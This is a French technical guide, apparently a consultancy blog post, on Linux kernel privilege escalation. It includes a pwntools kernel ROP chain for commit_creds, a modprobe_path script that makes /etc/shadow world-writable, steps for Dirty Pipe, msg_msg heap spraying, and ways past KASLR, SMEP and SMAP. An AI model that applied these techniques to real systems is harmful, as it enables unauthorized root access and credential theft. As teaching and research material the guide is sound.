L'exploitation du noyau Linux représente le Graal de la sécurité offensive : obtenir les privilèges root depuis un processus non privilégié. Le kernel Linux, avec ses 30 millions de lignes de code C, offre une surface d'attaque considérable — des sous-systèmes réseau (Netfilter, io_uring) aux pilotes de périphériques, en passant par les systèmes de fichiers et la gestion mémoire. Ce guide technique approfondi couvre l'ensemble de la chaîne d'escalade de privilèges noyau (LPE — Local Privilege Escalation), depuis l'identification des vulnérabilités jusqu'à l'obtention d'un shell root, en détaillant les techniques de heap exploitation kernel (SLUB allocator), le contournement des mitigations (KASLR, SMEP, SMAP, KPTI) et les primitifs d'exploitation modernes. Les chercheurs en sécurité, les développeurs de modules kernel et les équipes red team trouveront ici des méthodologies éprouvées avec des exemples de code fonctionnels et des études de cas sur des CVE critiques récentes.

En bref

  • Surface d'attaque kernel : syscalls, ioctl, sockets, sous-systèmes (Netfilter, io_uring, BPF)
  • Techniques LPE : commit_creds(prepare_kernel_cred(0)), modprobe_path, core_pattern
  • SLUB allocator : cross-cache attacks, msg_msg spraying, pipe_buffer exploitation
  • Mitigations : KASLR, SMEP, SMAP, KPTI, CFI kernel, et contournements
  • Outils : KASAN, syzkaller, kprobes, ftrace pour le debugging et le fuzzing kernel
LPE (Local Privilege Escalation) — Technique d'exploitation permettant à un processus utilisateur non privilégié d'obtenir les droits root (UID 0) en exploitant une vulnérabilité dans le noyau du système d'exploitation. Les LPE kernel sont les plus critiques car elles affectent tous les processus du système.

Surface d'Attaque du Noyau Linux

Le noyau Linux expose plusieurs interfaces exploitables depuis l'espace utilisateur. Chaque interface représente un point d'entrée potentiel pour les attaquants :

InterfaceVecteur d'attaqueCVE récentesComplexité
SyscallsArguments malformés, race conditionsCVE-2022-0847 (Dirty Pipe)Variable
ioctl()Commandes non validées, OOB writeCVE-2024-1086 (nf_tables)Moyenne
Netfilter/nf_tablesUAF, OOB, type confusionCVE-2023-32233, CVE-2022-34918Élevée
io_uringRace conditions, UAF dans les SQECVE-2023-2598, CVE-2024-0582Élevée
eBPFBypass du vérificateur, OOB R/WCVE-2021-3490, CVE-2023-2163Expert
Pilotes USBParsing de descripteurs malveillantsCVE-2023-1829Moyenne
Systèmes de fichiersImages FS malformées (ext4, NTFS)CVE-2022-1015Élevée

Modèle de Privilèges et Structures Kernel

Sous Linux, chaque processus est représenté par une structure task_struct contenant un pointeur vers ses credentials (struct cred). Les credentials définissent l'UID, le GID et les capabilities du processus. L'objectif de toute exploitation kernel LPE est de modifier ces credentials :

// Structure cred simplifiée (include/linux/cred.h)
struct cred {
    atomic_t usage;
    kuid_t uid, euid, suid, fsuid;    // User IDs
    kgid_t gid, egid, sgid, fsgid;    // Group IDs
    kernel_cap_t cap_inheritable;      // Capabilities
    kernel_cap_t cap_permitted;
    kernel_cap_t cap_effective;
    // ...
};

// La technique classique d'escalade de privilèges :
// 1. prepare_kernel_cred(NULL) → crée des credentials root (uid=0)
// 2. commit_creds(new_cred) → applique ces credentials au processus courant
//
// Après ces deux appels, le processus a les droits root.

Techniques d'Escalade de Privilèges Kernel

Les techniques LPE kernel se divisent en plusieurs catégories selon le primitif obtenu :

Méthode commit_creds : Exécution de Code Kernel

Si l'attaquant obtient l'exécution de code arbitraire en mode kernel (via ROP kernel, stack overflow, ou écrasement de pointeur de fonction), la séquence classique est :

// Depuis l'espace kernel, appeler :
commit_creds(prepare_kernel_cred(NULL));
// Puis retourner proprement en espace utilisateur via :
// swapgs; iretq (x86_64)
// eret (ARM64)
# Construction d'une ROP chain kernel avec pwntools
from pwn import *

# Résolution des adresses (via /proc/kallsyms ou info leak)
prepare_kernel_cred = 0xffffffff810a9d80
commit_creds = 0xffffffff810a9b40
pop_rdi_ret = 0xffffffff81001506
swapgs_iretq = 0xffffffff81600a34

# Sauvegarde des registres userspace avant l'exploit
def save_state():
    """Sauvegarder cs, ss, rflags, rsp pour iretq"""
    # Appelé avant le trigger via inline asm
    pass

# ROP chain kernel
kernel_rop = flat(
    pop_rdi_ret,
    0,                          # NULL → root credentials
    prepare_kernel_cred,        # rax = new root cred
    # Gadget: mov rdi, rax; ret
    0xffffffff8101f2f0,
    commit_creds,               # Appliquer les root creds
    swapgs_iretq,               # Retour en userspace
    user_rip,                   # Adresse de retour user
    user_cs,                    # Code segment
    user_rflags,                # RFLAGS sauvegardés
    user_sp,                    # Stack pointer user
    user_ss                     # Stack segment
)

Méthode modprobe_path : Write Primitif

Si l'attaquant a un primitif d'écriture arbitraire (write-what-where) mais pas d'exécution de code, la technique modprobe_path est la plus fiable. La variable globale modprobe_path contient le chemin de l'utilitaire /sbin/modprobe, exécuté automatiquement par le kernel quand un programme avec un magic number inconnu est lancé. En écrasant modprobe_path avec le chemin d'un script contrôlé, l'attaquant obtient l'exécution de commandes en tant que root :

# Exploitation via modprobe_path
# Étape 1: Préparer le payload
import os
os.system("echo '#!/bin/sh' > /tmp/pwn.sh")
os.system("echo 'chmod 777 /etc/shadow' >> /tmp/pwn.sh")
os.system("chmod +x /tmp/pwn.sh")

# Étape 2: Préparer un fichier avec un magic number invalide
os.system("echo -ne '\xff\xff\xff\xff' > /tmp/trigger")
os.system("chmod +x /tmp/trigger")

# Étape 3: Écrire "/tmp/pwn.sh" dans modprobe_path (via le primitif d'écriture)
# arbitrary_write(modprobe_path_addr, b"/tmp/pwn.sh")

# Étape 4: Exécuter le fichier avec le magic invalide
os.system("/tmp/trigger")  # Le kernel appelle /tmp/pwn.sh en tant que root !

SLUB Allocator : Exploitation Heap Kernel

Le noyau Linux utilise le SLUB allocator pour les allocations dynamiques. Contrairement à la heap userspace (glibc ptmalloc2), le SLUB organise la mémoire en slab caches — des pools d'objets de taille fixe. Les caches génériques kmalloc-32, kmalloc-64, kmalloc-96, etc. servent les allocations par taille. Les objets d'un même cache partagent les mêmes pages physiques, créant des opportunités d'exploitation par confusion de type.

msg_msg Spraying et Contrôle du Layout

Les structures struct msg_msg (message queues System V) sont le vecteur de spraying kernel le plus versatile car :

  • Leur taille est contrôlable (de 48 à 4096 octets pour un segment, plus avec msg_msgseg)
  • Leur contenu est entièrement contrôlé par l'utilisateur
  • Elles peuvent être lues (msgrcv()) et libérées à volonté
  • Elles contiennent des pointeurs kernel (next segment, list_head) exploitables pour des leaks
// Structure msg_msg (ipc/msg.c)
struct msg_msg {
    struct list_head m_list;  // Doubly-linked list (next/prev)
    long m_type;              // Message type
    size_t m_ts;              // Message text size
    struct msg_msgseg *next;  // Next segment for large messages
    void *security;           // SELinux label
    /* Données utilisateur suivent immédiatement */
};

Pipe Buffer Exploitation (DirtyPipe-style)

La CVE-2022-0847 (Dirty Pipe) a démontré la puissance des struct pipe_buffer comme vecteur d'exploitation. Les pipe buffers référencent des pages physiques du page cache — en corrompant les flags d'un pipe buffer (ajout de PIPE_BUF_FLAG_CAN_MERGE), l'attaquant peut écrire dans des pages en lecture seule, y compris les fichiers système comme /etc/passwd. Cette classe d'attaques — la corruption du page cache — est particulièrement dangereuse car elle contourne les permissions fichiers au niveau le plus bas.

Contournement du KASLR

Le KASLR (Kernel Address Space Layout Randomization) randomise l'adresse de base du noyau (typiquement 512 positions possibles sur x86_64, soit 9 bits d'entropie). Techniques de contournement :

  • Side-channels CPU : Spectre, Meltdown, et variantes permettent de lire des adresses kernel depuis userspace. Les mitigations (KPTI, retpolines) réduisent mais n'éliminent pas ces fuites.
  • Information leaks kernel : certains appels système retournent des adresses kernel non masquées. /proc/kallsyms est restreint (kptr_restrict), mais des fuites subsistent dans dmesg, /proc/timer_list, etc.
  • Brute-force : avec 9 bits d'entropie (512 positions), un crash + respawn rapide permet le brute-force en quelques minutes sur certains sous-systèmes qui ne paniquent pas le kernel.
  • Heap spraying prédictible : les adresses d'objets SLUB sont partiellement prévisibles car les slabs sont alloués dans un ordre déterministe.

SMEP, SMAP et KPTI : Isolation Hardware

SMEP (Supervisor Mode Execution Prevention) empêche le CPU d'exécuter du code dans les pages utilisateur quand il est en mode kernel. Le ret2user classique (rediriger le flux kernel vers du shellcode en userspace) est bloqué. SMAP empêche même l'accès en lecture/écriture aux données utilisateur depuis le kernel. KPTI (Kernel Page Table Isolation) sépare les tables de pages kernel et utilisateur pour contrer Meltdown.

Contournements : avec SMEP, l'attaquant utilise des ROP chains kernel (gadgets dans vmlinux). Avec SMAP, les données doivent être placées en mémoire kernel (via spraying). KPTI est contourné en utilisant le trampoline swapgs_restore_regs_and_return_to_usermode pour retourner proprement en userspace.

userfaultfd et FUSE : Contrôle du Timing

userfaultfd() permet à un programme userspace de gérer les page faults d'un autre thread. Dans l'exploitation kernel, l'attaquant passe un pointeur vers une page non mappée au kernel via un syscall. Quand le kernel accède à cette page, le page fault est intercepté par le handler userfaultfd — suspendant le thread kernel. Cela donne à l'attaquant un contrôle total sur le timing des opérations, essentiel pour exploiter les race conditions kernel.

// Utilisation de userfaultfd pour contrôler le timing kernel
struct uffdio_register reg;
int uffd = syscall(SYS_userfaultfd, O_NONBLOCK);

// Enregistrer une page comme surveillée
reg.range.start = (unsigned long)fault_page;
reg.range.len = 0x1000;
reg.mode = UFFDIO_REGISTER_MODE_MISSING;
ioctl(uffd, UFFDIO_REGISTER, ®);

// Dans le handler thread :
// 1. Le kernel touche fault_page → page fault
// 2. Le handler reçoit la notification
// 3. L'attaquant effectue ses opérations (free/spray)
// 4. Le handler résout le fault → le kernel continue
⚠️ Attention — Depuis Linux 5.11, userfaultfd() nécessite le privilege CAP_SYS_PTRACE pour les processus non privilégiés (sysctl vm.unprivileged_userfaultfd=0). Alternative : utiliser FUSE (Filesystem in Userspace) pour obtenir un contrôle de timing similaire via des opérations sur un filesystem custom.

CVE-2022-0847 : Dirty Pipe en Détail

Dirty Pipe est l'une des vulnérabilités kernel les plus élégantes : elle permet l'écriture dans n'importe quel fichier lisible (même en lecture seule) sans aucune race condition. Le bug réside dans l'initialisation des pipe_buffer : le flag PIPE_BUF_FLAG_CAN_MERGE n'est pas correctement nettoyé lors du splice de données depuis un fichier vers un pipe. L'exploit :

  1. Ouvrir le fichier cible en lecture (/etc/passwd)
  2. Créer un pipe et le remplir puis le vider (pour initialiser les flags)
  3. Utiliser splice() pour mapper une page du fichier dans le pipe
  4. Écrire dans le pipe — le flag CAN_MERGE permet l'écriture dans la page du fichier

Fuzzing Kernel avec syzkaller

syzkaller est le fuzzer kernel de Google responsable de la découverte de milliers de vulnérabilités Linux. Il génère des séquences de syscalls aléatoires mais guidées par la couverture de code (coverage-guided fuzzing). Combiné avec KASAN (Kernel Address Sanitizer), il détecte les UAF, OOB, et use-of-uninitialized — même quand le bug ne provoque pas de crash visible.

Tendances d'Exploitation Kernel 2024-2026

Les techniques d'exploitation kernel évoluent rapidement :

  • io_uring exploitation : le sous-système io_uring (I/O asynchrone) est devenu le vecteur d'attaque privilégié depuis 2023, avec de nombreuses UAF et race conditions dans la gestion des SQE/CQE.
  • Cross-cache attacks : les attaques inter-caches SLUB exploitent le recyclage de pages entre caches de même taille pour obtenir des confusions de type.
  • Page-level heap feng shui : manipulation au niveau des pages (et non des chunks individuels) pour un contrôle plus précis du layout kernel.
  • Kernel CFI : Google a déployé le kCFI (kernel Control Flow Integrity) sur Android — les exploits doivent contourner les vérifications de type sur les appels indirects.
💡 Conseil pratique — Pour débuter en exploitation kernel, configurez un environnement avec qemu et un kernel compilé avec KASAN, KASLR désactivé, et les debug symbols. Le projet kernel-exploit-factory fournit des Dockerfiles préconfigurés pour reproduire des CVE kernel historiques.

À retenir

  • L'exploitation kernel Linux cible les credentials (struct cred) pour obtenir uid=0
  • commit_creds(prepare_kernel_cred(0)) est la technique classique avec exécution de code kernel
  • modprobe_path est la technique préférée avec un write primitif (pas besoin d'exécution de code)
  • Le SLUB allocator utilise des slab caches — le msg_msg spraying est le vecteur le plus polyvalent
  • KASLR n'a que 9 bits d'entropie — les side-channels et info leaks le contournent efficacement
  • userfaultfd et FUSE permettent de contrôler le timing pour exploiter les race conditions kernel

FAQ — Questions Fréquentes

Comment trouver l'adresse de commit_creds avec KASLR activé ?

Plusieurs techniques : exploiter un information leak kernel (fuite d'un pointeur kernel via une vulnérabilité), utiliser des side-channels CPU (variantes Spectre), ou cibler /proc/kallsyms si kptr_restrict n'est pas activé. Une fois l'adresse d'un seul symbole connue, la base du kernel est calculée (offset fixe), et tous les symboles sont résolus.

Quelle est la différence entre SMEP et SMAP ?

SMEP empêche le CPU d'exécuter du code dans les pages utilisateur quand il est en mode kernel — bloque le ret2user. SMAP empêche le CPU d'accéder (lire/écrire) aux données utilisateur depuis le kernel — force l'attaquant à placer ses données en mémoire kernel via spraying. Les deux sont des protections matérielles (bits CR4).

Dirty Pipe est-elle toujours exploitable en 2026 ?

Non, CVE-2022-0847 a été corrigée dans Linux 5.16.11. Cependant, la technique (corruption du page cache via pipe buffers) reste un vecteur de recherche actif. Des variantes conceptuellement similaires continuent d'être découvertes dans la gestion des pipes et du page cache.

Quel est le meilleur fuzzer pour trouver des vulnérabilités kernel ?

syzkaller de Google est le standard de l'industrie — il a trouvé des milliers de bugs kernel. Il utilise le fuzzing guidé par couverture avec des descriptions de syscalls (syzlang). Combiné avec KASAN, il détecte les corruptions mémoire même silencieuses. Alternatives : Trinity (fuzzer de syscalls plus simple) et Razzer (spécialisé race conditions).

Besoin d'un accompagnement expert ?

Nos consultants spécialisés en exploitation kernel et sécurité système vous accompagnent dans l'évaluation et le renforcement de votre posture de sécurité.

Contactez-nous
Article recommandé : Side-Channel Attacks : Spectre, Meltdown et Rowhammer